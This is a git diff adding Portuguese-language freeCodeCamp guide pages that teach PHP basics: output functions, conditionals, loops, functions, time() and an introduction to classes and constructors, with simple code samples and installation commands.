--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/die-and-exit/index.md
@@ -0,0 +1,22 @@
+---
+title: Die and Exit
+localeTitle: Morrer e sair
+---
+## Morrer e sair
+
+As funções `die()` e `exit()` são idênticas. Cada um deles recebe um argumento (uma string) contendo uma mensagem de erro. Ao serem executados, eles emitem a mensagem e interrompem imediatamente a execução do script.
+
+```PHP
+<?php 
+ die('Die() function was run'); 
+```
+
+```PHP
+<?php 
+ exit('Exit() function was run'); 
+```
+
+#### Mais Informações:
+
+*   [php.net die () manual](https://secure.php.net/manual/en/function.die.php)
+*   [manual do php.net exit ()](https://secure.php.net/manual/en/function.exit.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/echo-and-print/index.md b/client/src/guide/portuguese/php/functions/echo-and-print/index.md
new file mode 100644
index 0000000000..da594e6094
--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/echo-and-print/index.md
@@ -0,0 +1,46 @@
+---
+title: Echo and Print
+localeTitle: Eco e Imprimir
+---
+## Eco e Imprimir
+
+As funções de eco e impressão fornecem uma maneira de escrever o valor de uma variável ou argumento na tela.
+
+### eco
+
+A função `echo()` grava o valor de uma variável ou argumento na tela.
+
+```PHP
+<?php 
+ echo "freeCodeCamp"; 
+```
+
+NOTA: Um caminho curto para abrir a tag e o eco do PHP é <? =
+```
+<?= "freeCodeCamp"; ?> 
+```
+
+### impressão
+
+O `print()` calcula o valor de uma variável ou argumento para a tela.
+
+```PHP
+<?php 
+ print "freeCodeCamp"; 
+```
+
+### print\_r
+
+A função `print_r()` grava o valor de qualquer variável (como uma matriz) ou argumento na tela, ao contrário das funções de eco ou impressão que são mais limitadas.
+
+```PHP
+<?php 
+ $freecodecamp = "freeCodeCamp"; 
+ print_r($freecodecamp); 
+```
+
+#### Mais Informações:
+
+*   [php.net echo () manual](https://secure.php.net/manual/en/function.echo.php)
+*   [manual do php.net print ()](https://secure.php.net/manual/en/function.print.php)
+*   [Manual do php.net print\_r ()](https://secure.php.net/manual/en/function.print-r.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/files/file-reading/index.md b/client/src/guide/portuguese/php/functions/files/file-reading/index.md
new file mode 100644
index 0000000000..f61d32c173
--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/files/file-reading/index.md
@@ -0,0 +1,11 @@
+---
+title: File Reading
+localeTitle: Leitura de arquivos
+---
+## Leitura de arquivos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/reading/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/files/file-uploading/index.md b/client/src/guide/portuguese/php/functions/files/file-uploading/index.md
new file mode 100644
index 0000000000..3a017e0dff
--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/files/file-uploading/index.md
@@ -0,0 +1,11 @@
+---
+title: File Uploading
+localeTitle: Upload de arquivos
+---
+## Upload de arquivos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/uploading/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/files/file-writing/index.md b/client/src/guide/portuguese/php/functions/files/file-writing/index.md
new file mode 100644
index 0000000000..1fd9c4d277
--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/files/file-writing/index.md
@@ -0,0 +1,11 @@
+---
+title: File Writing
+localeTitle: Escrita de Arquivos
+---
+## Escrita de Arquivos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/writing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/files/index.md b/client/src/guide/portuguese/php/functions/files/index.md
new file mode 100644
index 0000000000..85fc3f04cf
--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/files/index.md
@@ -0,0 +1,17 @@
+---
+title: Files
+localeTitle: arquivos
+---
+## arquivos
+
+O PHP fornece várias funções para trabalhar com arquivos. Essas funções permitem que o desenvolvedor habilite uploads de arquivos de usuários, que o php leia e use dados de um arquivo e, por último, que o php grave dados em um arquivo.
+
+#### Mais Informações:
+
+*   [php.net readfile () manual](https://secure.php.net/manual/en/function.readfile.php)
+*   [php.net fopen () manual](https://secure.php.net/manual/en/function.fopen.php)
+*   [php.net fread () manual](https://secure.php.net/manual/en/function.fread.php)
+*   [php.net fclose () manual](https://secure.php.net/manual/en/function.fclose.php)
+*   [php.net fgets () manual](https://secure.php.net/manual/en/function.fgets.php)
+*   [php.net feof () manual](https://secure.php.net/manual/en/function.feof.php)
+*   [php.net fgetc () manual](https://secure.php.net/manual/en/function.fgetc.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/index.md b/client/src/guide/portuguese/php/functions/index.md
new file mode 100644
index 0000000000..e668e5073c
--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/index.md
@@ -0,0 +1,45 @@
+---
+title: Functions
+localeTitle: Funções
+---
+## Introdução às Funções PHP
+
+Uma função é um bloco de instruções que podem ser usadas repetidamente em um programa.
+
+### Função Simples + Chamada
+
+```php
+function say_hello() { 
+  return "Hello!"; 
+ } 
+ 
+ echo say_hello(); 
+```
+
+### Função Simples + Parâmetro + Chamada
+
+```php
+function say_hello($friend) { 
+  return "Hello " . $friend . "!"; 
+ } 
+ 
+ echo say_hello('Tommy'); 
+```
+
+### strtoupper - Torna todos os Chars MAIORES E MAIORES!
+
+```php
+function makeItBIG($a_lot_of_names) { 
+  foreach($a_lot_of_names as $the_simpsons) { 
+    $BIG[] = strtoupper($the_simpsons); 
+  } 
+  return $BIG; 
+ } 
+ 
+ $a_lot_of_names = ['Homer', 'Marge', 'Bart', 'Maggy', 'Lisa']; 
+ var_dump(makeItBIG($a_lot_of_names)); 
+```
+
+#### Mais Informações:
+
+*   [manual de funções definidas pelo usuário do php.net](https://secure.php.net/manual/en/functions.user-defined.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/time/index.md b/client/src/guide/portuguese/php/functions/time/index.md
new file mode 100644
index 0000000000..cb6b528092
--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/time/index.md
@@ -0,0 +1,24 @@
+---
+title: Time
+localeTitle: Tempo
+---
+## Tempo
+
+A função `time()` retorna o timestamp unix atual (número de segundos desde o Unix Epoch - 1 de janeiro de 1970 00:00:00 GMT).
+
+### Exemplo
+
+```php
+<?php 
+ echo time(); 
+```
+
+**Saída:**
+
+```text
+1511732226 
+```
+
+#### Mais Informações:
+
+*   [php.net time () manual](https://secure.php.net/manual/en/function.time.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/hello-world/index.md b/client/src/guide/portuguese/php/hello-world/index.md
new file mode 100644
index 0000000000..71a921c1a2
--- /dev/null
+++ b/client/src/guide/portuguese/php/hello-world/index.md
@@ -0,0 +1,48 @@
+---
+title: PHP - Hello World
+localeTitle: PHP - Olá Mundo
+---
+## PHP - Olá Mundo
+
+Scripts PHP são executados no servidor.
+
+Antes de continuar, você deve ter uma compreensão básica do seguinte:
+
+### HTML
+
+### CSS
+
+### JavaScript
+
+Arquivos PHP podem conter texto, HTML, CSS, JavaScript e código PHP. Um script PHP é executado no servidor e o resultado HTML simples é enviado de volta ao navegador.
+
+Um script PHP começa com `<?php` e termina com `?>` :
+
+```php
+<?php 
+ // PHP code goes here 
+ ?> 
+```
+
+ou você também pode escrever Um script PHP começa com `<?php` e termina sem `?>` :
+
+```php
+<?php 
+ // PHP code goes here 
+```
+
+Abaixo, temos um exemplo de um arquivo PHP simples, com um script PHP que usa uma função PHP integrada "echo" para gerar o texto "Hello World!" em uma página da web:
+
+```php
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ echo "My first PHP script!"; 
+ ?> 
+ 
+ </body> 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/if-else-statement/index.md b/client/src/guide/portuguese/php/if-else-statement/index.md
new file mode 100644
index 0000000000..9a7461926b
--- /dev/null
+++ b/client/src/guide/portuguese/php/if-else-statement/index.md
@@ -0,0 +1,47 @@
+---
+title: If-else Statement
+localeTitle: Declaração If-else
+---
+## Introdução
+
+Se / Else for uma declaração condicional onde dependendo da veracidade de uma condição, ações diferentes serão executadas.
+
+> **Observação:** os `{}` colchetes são necessários apenas se a condição tiver mais de uma instrução de ação.
+
+## Se declaração
+```
+  if (condition){ 
+    statement1; 
+    statement2; 
+  } 
+```
+
+> **Nota:** A instrução `else` é opcional.
+> 
+> ## Se / Else Statement
+```
+  if (condition){ 
+    statement1; 
+    statement2; 
+  } 
+  else{ 
+    statement3; 
+    statement4; 
+  } 
+```
+
+## Se / Elseif / Else Statement
+```
+  if (condition){ 
+    statement1; 
+    statement2; 
+  } 
+  elseif{ 
+    statement3; 
+    statement4; 
+  } 
+  else 
+    statement5; 
+```
+
+Para mais informações, confira o seguinte link: [PHP Else](http://php.net/manual/en/control-structures.elseif.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/index.md b/client/src/guide/portuguese/php/index.md
new file mode 100644
index 0000000000..b771dac136
--- /dev/null
+++ b/client/src/guide/portuguese/php/index.md
@@ -0,0 +1,107 @@
+---
+title: PHP
+localeTitle: PHP
+---
+![logo](https://upload.wikimedia.org/wikipedia/commons/thumb/2/27/PHP-logo.svg/150px-PHP-logo.svg.png "Logo do PHP")
+
+## O que é PHP?
+
+PHP é uma linguagem de script do lado do servidor criada em 1995 por Rasmus Lerdorf.
+
+O PHP é uma linguagem de script de uso geral de software livre amplamente usada, especialmente adequada para o desenvolvimento da Web e que pode ser incorporada ao HTML.
+
+## O que significa a sigla PHP?
+
+Originalmente PHP significava 'Home Page Pessoal', como Rasmus Lerdorf criou para uso em seu próprio site. Então, em 1997, mais desenvolvedores expandiram a linguagem e acrônimo também mudou para o que é hoje: 'PHP: Hypertext Preprocessor'. Como o primeiro 'P' em PHP também significa 'PHP', é conhecido como 'acrônimo recursivo'.
+
+## O que o PHP é usado para?
+
+A partir de outubro de 2017, o PHP é usado em [82% dos sites cuja linguagem do lado do servidor é conhecida](https://w3techs.com/technologies/overview/programming_language/all) . Isto é normalmente usado em sites para gerar dinamicamente o conteúdo da página da web. Casos de uso incluem:
+
+*   Websites e aplicativos da Web (scripts do lado do servidor)
+*   Script de linha de comando
+*   Aplicativos de desktop (GUI)
+
+Normalmente, ele é usado no primeiro formulário para gerar dinamicamente o conteúdo da página da web. Por exemplo, se você tem um site de blog, pode escrever alguns scripts PHP para recuperar seus posts de um banco de dados e exibi-los. Outros usos para scripts PHP incluem:
+
+*   Processando e salvando a entrada do usuário a partir de dados de formulário
+*   Definir e trabalhar com cookies de sites
+*   Restringindo o acesso a certas páginas do seu site
+
+## Como o PHP funciona?
+
+Todo código PHP é executado apenas em um servidor web, não em seu computador local. Por exemplo, se você preencher um formulário em um site e enviá-lo, ou clicar em um link para uma página da Web escrita em PHP, nenhum código PHP real será executado em seu computador. Em vez disso, os dados ou solicitação de formulário da página da Web são enviados para um servidor da Web para serem processados ​​pelos scripts PHP. O servidor da web envia o HTML processado de volta para você (que é de onde vem o 'Hypertext Preprocessor' no nome) e seu navegador da Web exibe os resultados. Por esse motivo, você não pode ver o código PHP de um site, apenas o HTML resultante que os scripts PHP produziram.
+
+Isso é ilustrado abaixo:
+
+![PHP-server-model](https://github.com/xeroxism/myImages/blob/master/FCC_guides/PHP-server-model.png?raw=true)
+
+PHP é uma linguagem interpretada. Isso significa que, quando você faz alterações em seu código-fonte, você pode testar imediatamente essas alterações sem primeiro precisar compilar seu código-fonte em formato binário. Ignorar a etapa de compilação torna o processo de desenvolvimento muito mais rápido.
+
+O código PHP é colocado entre as tags `<?php` e `?>` E pode ser incorporado ao HTML.
+
+## Instalação
+
+O PHP pode ser instalado com ou sem um servidor web.
+
+### GNU / Linux
+
+Em distribuições GNU / Linux baseadas em Debian, você pode instalar por:
+
+```bash
+sudo apt install php 
+```
+
+Após a instalação, você pode executar qualquer arquivo PHP simplesmente fazendo isso no terminal:
+```
+php file.php 
+```
+
+Você também pode instalar um servidor localhost para executar sites PHP. Para instalar o Apache Web Server:
+```
+sudo apt install apache2 libapache2-mod-php 
+```
+
+## O que o PHP pode fazer?
+
+*   PHP pode gerar conteúdo de página dinâmico
+*   PHP pode criar, abrir, ler, escrever, excluir e fechar arquivos no servidor
+*   PHP pode coletar dados de formulário
+*   PHP pode enviar e receber cookies
+*   PHP pode adicionar, excluir, modificar dados em seu banco de dados
+*   PHP pode ser usado para controlar o acesso do usuário
+*   PHP pode criptografar dados
+
+## Por que PHP?
+
+*   PHP é executado em várias plataformas (Windows, Linux, Unix, Mac OS X, etc.)
+*   PHP é compatível com quase todos os servidores usados ​​atualmente (Apache, IIS, etc.)
+*   PHP suporta uma ampla gama de bancos de dados
+*   PHP é grátis. Faça o download do recurso oficial do PHP: [secure.php.net](https://secure.php.net/)
+*   O PHP é fácil de aprender e funciona de maneira eficiente no lado do servidor
+
+## Frameworks PHP
+
+Como escrever o código inteiro para um site não é realmente prático / viável para a maioria dos projetos, a maioria dos desenvolvedores tende a usar frameworks para o desenvolvimento da web. A vantagem de usar um framework é que
+
+*   Você não tem que reinventar a roda toda vez que você cria um projeto, muitas das nuances já são cuidadas por você
+*   Eles geralmente são bem estruturados para ajudar na separação de interesses
+*   A maioria dos frameworks tende a seguir as melhores práticas da linguagem
+*   Muitos deles seguem o padrão MVC (Model-View-Controller) para separar a camada de apresentação da lógica
+
+## Estruturas populares
+
+*   [Laravel](https://laravel.com/)
+*   [Symfony](https://symfony.com/)
+*   [Zend](http://www.zend.com/)
+*   [CakePHP](https://cakephp.org/)
+
+## Documentação
+
+PHP está [bem documentado](http://php.net/docs.php) . Os [documentos oficiais](http://php.net/manual/en/) incluem exemplos em quase todos os guias de referência de funções, bem como comentários de usuários.
+
+## Outros recursos
+
+*   [Tizag.com PHP Tutorial](http://www.tizag.com/phpT/) : [tutoriais](http://www.tizag.com/phpT/) ainda relevantes para introdução ao PHP
+*   [Awesome PHP](https://github.com/ziadoz/awesome-php) : uma lista curada de bibliotecas PHP, recursos e "coisas brilhantes"
+*   [Laracasts.com](https://laracasts.com/) : um site de associação para aprender desenvolvimento de aplicações web com PHP
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/loop/index.md b/client/src/guide/portuguese/php/loop/index.md
new file mode 100644
index 0000000000..a9f39ac026
--- /dev/null
+++ b/client/src/guide/portuguese/php/loop/index.md
@@ -0,0 +1,165 @@
+---
+title: Loop
+localeTitle: Loop
+---
+# Loop PHP
+
+Quando você precisa repetir a mesma tarefa várias vezes, você pode usar o loop em vez de continuar adicionando o mesmo código repetidas vezes. No PHP tem as seguintes instruções de loop:
+
+*   para - percorre um bloco de código com um número específico de vezes.
+*   while - percorra um bloco de código se a condição for verdadeira.
+*   do… while - faça um loop através de um bloco de código um e continue o loop se a condição for verdadeira.
+*   foreach - faça um loop através de um bloco de código para cada valor dentro de um array.
+
+Usar uma `break` dentro do loop pode interromper a execução do loop.
+
+# Para loop
+
+Faça um loop por meio de um bloco de código com um número específico de vezes.
+
+## Sintaxe
+```
+for (init counter; condition; counter increment or decrement) 
+ { 
+    // Code to be executed 
+ } 
+```
+
+## Exemplo
+
+```php
+<?php 
+ for($index = 0; $index < 5; $index ++) 
+ { 
+    echo "Current loop counter ".$index.".\n"; 
+ } 
+ ?> 
+```
+
+## Saída
+```
+> Current loop counter 0. 
+ > Current loop counter 1. 
+ > Current loop counter 2. 
+ > Current loop counter 3. 
+ > Current loop counter 4. 
+```
+
+# Enquanto loop
+
+Faça um loop por um bloco de código se a condição for verdadeira.
+
+## Sintaxe
+```
+while (condition) 
+ { 
+    // Code to be executed 
+ } 
+```
+
+## Exemplo
+
+```php
+<?php 
+ $index = 10; 
+ while ($index >= 0) 
+ { 
+    echo "The index is ".$index.".\n"; 
+    $index--; 
+ } 
+ ?> 
+```
+
+## Saída
+```
+> The index is 10. 
+ > The index is 9. 
+ > The index is 8. 
+ > The index is 7. 
+ > The index is 6. 
+ > The index is 5. 
+ > The index is 4. 
+ > The index is 3. 
+ > The index is 2. 
+ > The index is 1. 
+ > The index is 0. 
+```
+
+# Do… While loop
+
+Faça um loop por meio de um bloco de código um e continue o loop se a condição for verdadeira.
+
+## Sintaxe
+```
+do 
+ { 
+    // Code to be executed 
+ } 
+ while (condition); 
+```
+
+## Exemplo
+
+```php
+<?php 
+ $index = 3; 
+ do 
+ { 
+    // execute this at least 1 time 
+    echo "Index: ".$index.".\n"; 
+    $index --; 
+ } 
+ while ($index > 0); 
+ ?> 
+```
+
+## Saída
+```
+> Index: 3. 
+ > Index: 2. 
+ > Index: 1. 
+```
+
+# Loop foreach
+
+Faça um loop por meio de um bloco de código para cada valor em uma matriz.
+
+## Sintaxe
+```
+foreach ($array as $value) 
+ { 
+    // Code to be executed 
+ } 
+```
+
+## Exemplo
+
+```php
+<?php 
+ $array = ["Ali", "Ah Kao", "Muthu", "Gwen", "Lucida", "Cecily", "Arthur", "Flora"]; 
+ foreach ($array as $name) 
+ { 
+    echo "Hi, my name is ".$name.".\n"; 
+ 
+    if ($name == "Cecily") 
+    { 
+        echo "\"Hello, ".$name."!\""; 
+ 
+        // stop the loop if name is Cecily 
+        break; 
+    } 
+ } 
+ ?> 
+```
+
+## Saída
+```
+> Hi, my name is Ali. 
+ > Hi, my name is Ah Kao. 
+ > Hi, my name is Muthu. 
+ > Hi, my name is Gwen. 
+ > Hi, my name is Lucida. 
+ > Hi, my name is Cecily. 
+ > "Hello, Cecily!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/loops/for-loop/index.md b/client/src/guide/portuguese/php/loops/for-loop/index.md
new file mode 100644
index 0000000000..0de5159a43
--- /dev/null
+++ b/client/src/guide/portuguese/php/loops/for-loop/index.md
@@ -0,0 +1,76 @@
+---
+title: For Loop
+localeTitle: Para loop
+---
+## Para loop
+
+O PHP `for` instrução consiste em três expressões e uma instrução:
+
+`for ((initialization); (condition); (final-expression)) statement`
+
+### Descrição
+
+*   inicialização
+    *   Corra antes da primeira execução no loop.
+    *   Esta expressão é comumente usada para criar contadores.
+    *   As variáveis ​​criadas aqui estão no escopo do loop. Uma vez que o loop tenha terminado, a execução é destruída.
+*   condição
+    *   Expressão que é verificada antes da execução de cada iteração.
+    *   Se omitido, esta expressão será avaliada como `true` .
+*   expressão final
+    *   Expressão executada após cada iteração.
+    *   Geralmente usado para incrementar um contador.
+    *   Mas pode ser usado para executar qualquer expressão.
+*   declaração
+    *   Código a ser repetido em cada iteração de loop.
+
+Qualquer uma dessas três expressões ou a declaração pode ser omitida.
+
+As expressões podem conter várias expressões separadas por vírgula.
+
+Na expressão (condição), todas as expressões separadas por vírgulas serão avaliadas.
+
+O resultado é obtido a partir do último.
+
+For loops são comumente usados ​​para contar um certo número de iterações para repetir uma instrução.
+
+### Armadilhas Comuns
+
+#### Ultrapassando os limites de um array
+
+Ao indexar em um array muitas vezes é fácil exceder os limites do array (ex. Tentar referenciar o 4º elemento de um array de 3 elementos).
+
+```php
+// This will cause an error. 
+ // The bounds of the array will be exceeded. 
+ $arr = array(1,2,3); 
+ 
+ for ($i = 0; $i <= count($arr); $i++) { 
+    var_dump($arr[$i]); 
+ } 
+```
+
+Isto irá produzir:
+
+```txt
+int(1) int(2) int(3) NULL 
+```
+
+Existem maneiras de corrigir esse código.
+
+Defina a condição como `$i < count($arr)` ou `$i <= count($arr) - 1` .
+
+#### Problemas de desempenho
+
+O código acima pode ficar lento, porque o tamanho da matriz é buscado em cada iteração.
+
+Para corrigir esse problema, é possível colocar o tamanho da matriz em uma variável.
+
+```php
+//create the $size variable with a second expression comma separated 
+ for ($i = 0, $size = count($arr); $i < $size; ++$i) { 
+```
+
+### Mais Informações
+
+*   [PHP.net - Estruturas de Controle](https://secure.php.net/manual/en/control-structures.for.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/loops/index.md b/client/src/guide/portuguese/php/loops/index.md
new file mode 100644
index 0000000000..2aa95c73d9
--- /dev/null
+++ b/client/src/guide/portuguese/php/loops/index.md
@@ -0,0 +1,17 @@
+---
+title: Loops
+localeTitle: rotações
+---
+## rotações
+
+Os loops são usados ​​no PHP para executar tarefas repetidas com base em uma condição.
+
+As condições geralmente retornam `true` ou `false` quando analisadas.
+
+Um loop continuará em execução até que a condição definida retorne `false` .
+
+Você pode digitar `php for` , `php while` ou `php do while` para obter mais informações sobre qualquer um desses.
+
+### Mais Informações
+
+*   [PHP.net - For Loops](https://secure.php.net/manual/control-structures.for.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/loops/while-loop/index.md b/client/src/guide/portuguese/php/loops/while-loop/index.md
new file mode 100644
index 0000000000..196a74a01e
--- /dev/null
+++ b/client/src/guide/portuguese/php/loops/while-loop/index.md
@@ -0,0 +1,50 @@
+---
+title: While Loop
+localeTitle: While Loop
+---
+## While Loop
+
+O `while loop` é um dos tipos mais fáceis de loop no PHP. Ele executa o bloco de instruções até que a expressão seja avaliada como **TRUE** . Se o valor da expressão mudar no momento da execução, o loop será executado até que a expressão seja avaliada como **FALSE** . A forma básica do While Loop é fornecida abaixo:
+
+```shell
+while (expr) 
+    statement 
+```
+
+As instruções dentro do loop while podem ser colocadas dentro das chaves ou podem ser usadas com base na seguinte sintaxe:
+
+```shell
+while (expr): 
+    statement 
+    ... 
+ endwhile; 
+```
+
+Ilustrando a sintaxe simples e alternativa do loop while usando o exemplo:
+
+```php
+<?php 
+ 
+ /* using the simple form of while loop */ 
+ 
+ $i = 1;  /* initialisation part */ 
+ 
+ while ($i <= 100 && $i!=5 ) 
+ { 
+    echo $i++; 
+ } 
+ 
+ /*using the alternate synatx of while loop*/ 
+ 
+ $i = 0; 
+ 
+ while ($i <= 10): 
+    echo $i++; 
+ endwhile; 
+ 
+ ?> 
+```
+
+#### Mais Informações
+
+[While loop - Documentação PHP](http://php.net/manual/en/control-structures.while.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/object-oriented-programming/index.md b/client/src/guide/portuguese/php/object-oriented-programming/index.md
new file mode 100644
index 0000000000..1d4b6f9511
--- /dev/null
+++ b/client/src/guide/portuguese/php/object-oriented-programming/index.md
@@ -0,0 +1,333 @@
+---
+title: Object Oriented Programming
+localeTitle: Programação Orientada a Objetos
+---
+## Programação Orientada a Objetos
+
+Programação Orientada a Objetos, como o nome sugere, é tudo sobre objetos. Você está basicamente tentando criar um software ordenadamente organizado em objetos. Essa abordagem torna o código escalonável com componentes reutilizáveis.
+
+### CLASSE DO HOMEM
+
+Digamos que você queira criar um programa sobre os homens em geral.
+
+Homens comuns têm todos os tipos de coisas em comum, como dar apertos de mão firmes, ser teimosos, não colocar rolos de papel higiênico para trás, se apaixonar pelos mais recentes aparelhos, etc. Estes podem ser descritos como comportamentos ou métodos do objeto Man.
+
+Os homens também têm suas próprias características distintas como idade, altura, esportes favoritos, bebidas favoritas, etc. Estes podem ser descritos como propriedades ou atributos do objeto Man.
+
+Com isso em mente, criar uma classe Man não é mais tão difícil. Então, o programa seria assim.
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ } 
+```
+
+### OBJETO DO HOMEM
+
+Agora que temos essa classe _Man_ , podemos criar qualquer homem em particular criando uma instância de classe conhecida como instanciação de classe.
+
+```php
+<?php 
+ 
+ // Create a Man object called "Jack" (ie instantiation) 
+ $jack = new Man(); 
+ 
+ // Set values to Jack's attributes 
+ $jack->name = "Jack"; 
+ $jack->age = 30; 
+ $jack->height = "6 feet"; 
+ $jack->fav_sports = ["basketball", "soccer"]; 
+ $jack->fav_drinks = ["coffee", "green tea"]; 
+ 
+ // Print out Jack's attributes and values 
+ echo "Our man's name is: " . $jack->name . "\n"; 
+ echo "He is " . $jack->age . " years old and " . $jack->height . " tall."; 
+ 
+ echo "His favorite sports are: "; 
+ foreach ($jack->fav_sports as $sport) { 
+    echo $sport . " "; 
+ } 
+ 
+ echo "\nHis favorite drinks are: "; 
+ foreach ($jack->fav_drinks as $drink) { 
+    echo $drink . " "; 
+ } 
+ 
+ // Print out Jack's behaviors common to all men (hint: defined in Man class) 
+ echo "\nHe said these are some of his behaviors common to other men: "; 
+ echo "\n\t" . $jack->giveFirmHandshakes(); 
+ echo "\n\t" . $jack->beStubborn(); 
+ echo "\n\t" . $jack->notPutToiletPaper(); 
+```
+
+Aqui você pode ver que um homem chamado Jack foi criado com o nome de "Jack", altura de "6 pés", esportes favoritos "basquete e futebol" e bebidas favoritas "café e chá verde". Esses atributos são chamados de variáveis ​​de instância.
+
+Então ele tem o comportamento de todos os homens como dar apertos de mão firmes, ser teimoso e não devolver o papel higiênico. Todos esses comportamentos são chamados de métodos de instância.
+
+### CONSTRUTORES
+
+Até agora, criamos uma classe chamada "Man" e um objeto chamado "Jack", instanciando essa classe. Nós também damos valores de Jack por seus atributos (nome, altura, esportes favoritos e bebidas) e chamamos seus comportamentos comuns a todos os homens (dando apertos de mão firmes, ficando teimosos e não colocando papel higiênico de volta).
+
+Vamos levar essa idéia um passo adiante e fazer com que Jack comece a se apresentar sempre que criarmos o objeto Jack sem realmente precisar imprimi-los individualmente assim:
+
+```php
+<?php 
+ // Print out Jack's attributes and values 
+ echo "Our man's name is: " . $jack->name . "\n"; 
+ echo "He is " . $jack->age . " years old and " . $jack->height . " tall."; 
+```
+
+É aqui que entram os construtores. Construtores são basicamente métodos especiais que são chamados quando um objeto é criado.
+
+Então, a ideia é imprimir o nome, a idade e a altura do Jack quando criamos o objeto “Jack” instanciando a classe Man. Para que isso aconteça, precisamos especificar o nome, a idade e a altura quando criarmos o objeto da seguinte forma:
+
+```php
+<?php 
+ // Create a Man object called "Jack" 
+ $jack = new Man('Jack', 30, '6 feet'); 
+```
+
+Este código diz à classe Man para criar um objeto com 3 parâmetros: 'Jack' para nome, 30 para idade e '6 feet' para altura.
+
+Agora que passamos esses parâmetros enquanto instanciamos a classe, podemos facilmente usá-los para criar o método construtor.
+
+```php
+<?php 
+ // Create a constructor method with 3 required parameters: name, age and height 
+ public function __construct($name, $age, $height) 
+ { 
+    // Print out to say "object created" 
+    echo "object created\n"; 
+ 
+    // Assign the values of parameters to properties 
+    // Also known as instance variables 
+    // Using "$this->property_name" 
+    $this->name = $name; 
+    $this->age = $age; 
+    $this->height = $height; 
+ 
+    // Print out Jack's attributes and values 
+    echo "Our man's name is: " . $this->name . "\n"; 
+    echo "He is " . $this->age . " years old and " . $this->height . " tall."; 
+ } 
+```
+
+Então, agora, sempre que instanciamos Man class, precisamos colocar 3 parâmetros e eles serão impressos imediatamente.
+
+```php
+<?php 
+ // Create a Man object called "Jack" 
+ $jack = new Man('Jack', 30, '6 feet'); 
+```
+
+`Object created` `Our man's name is: Jack` `He is 30 years old and 6 feet tall.`
+
+O código completo com o construtor seria algo assim:
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    // 1. Declare the properties 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    // 2. Create a constructor method with 3 required parameters: name, age and height 
+    public function __construct($name, $age, $height) 
+    { 
+        // 2A. Assign the values of parameters to class properties 
+        // Also known as instance variables 
+        // Using "$this->property_name" 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+ 
+        // 2B. Print out Jack's attributes and values 
+        echo "Our man's name is: " . $this->name . "\n"; 
+        echo "He is " . $this->age . " years old and " . $this->height . " tall."; 
+    } 
+ 
+    // 3. Create methods 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ } 
+ 
+ // 4. Create a Man object called "Jack" 
+ // This will print out the echo statements inside "__construct" method inside the class 
+ $jack = new Man('Jack', 30, '6 feet'); 
+ 
+ // 5. Set values to Jack's favorite sports and drinks 
+ $jack->fav_sports = ["basketball", "soccer"]; 
+ $jack->fav_drinks = ["coffee", "green tea"]; 
+ 
+ // Print out Jack's favorite sports and drinks 
+ echo "His favorite sports are: "; 
+ foreach ($jack->fav_sports as $sport) { 
+    echo $sport . " "; 
+ } 
+ 
+ echo "\nHis favorite drinks are: "; 
+ foreach ($jack->fav_drinks as $drink) { 
+    echo $drink . " "; 
+ } 
+ 
+ // Print out Jack's behaviors common to all men 
+ // (hint: defined in Man class) 
+ echo "\nHe said these are some of his behaviors common to other men: "; 
+ echo "\n\t" . $jack->giveFirmHandshakes(); 
+ echo "\n\t" . $jack->beStubborn(); 
+ echo "\n\t" . $jack->notPutToiletPaper(); 
+```
+
